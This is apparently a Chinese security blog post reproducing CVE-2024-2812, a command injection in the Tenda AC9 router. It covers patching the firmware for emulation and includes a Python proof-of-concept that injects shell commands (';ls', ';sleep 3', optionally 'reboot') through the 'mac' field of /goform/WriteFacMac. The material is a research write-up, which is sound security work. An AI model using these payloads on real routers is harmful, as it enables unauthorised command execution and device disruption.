cve-2024-2812-AC9 远程命令执行漏洞

cve-2024-2812-AC9 远程命令执行漏洞

https://www.tenda.com.cn/prod/api/download/2908

使用用户级模拟启动步骤如下:

首先打开ida的精简指令,点击options->gen…把number of opcode bytes(graph) 改成4或8即可

image

Edit->Patch program->change byte修改如下字节

主要nop了几个校验,把jalr $t9 ;修改成了li $v0,1 ,对应字节为01 00 02 24,需要注意的是,只需要修改前4对字节,不要动后续原有的字节

image

image

image

照着改就行,然后Edit->Patch program->Apply patches to input file将我们的更改保存进二进制文件

image

漏洞分析复现如下:

下载地址:

https://www.tenda.com.cn/prod/api/download/2908

漏洞点位出现在formWriteFacMac函数

image

doSystemCmd(“cfm mac %s”, mac) 在传入mac的时候,没有任何限制,导致可以通过命令注入手法执行任意指令

image

poc如下,执行ls -la指令

import requests
from pwn import *

url = “http://192.168.50.18/goform/WriteFacMac”
cookie = {“Cookie”:”password=1111″}
payload =  “aa;ls -ll”

data = {“mac”: payload }

requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)

执行效果

image

此处推荐一个简单的测试脚本,该脚本适配burpsuite,UI页面借用的瞎测,魔改了一些内容,修复了一些bug,增加了一些功能
https://github.com/Ilovewomen/xia_ce

使用脚本进行测试,由于此处漏洞为无回显漏洞,所以可以通过自带的sleep指令,通过延迟效果进行测试

image

通过延迟函数实现响应延迟,从而快速发现此处是否存在命令注入漏洞,程序默认使用;sleep 3 、 | sleep  3来执行,而后通过原始请求与注入后请求的响应实现进行监测,从而进行漏洞探测,但是此方法存在一定的误报,比如说程序本身延迟过高或程序不支持sleep指令,所以此程序支持自定义指令,比如说  reboot。

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容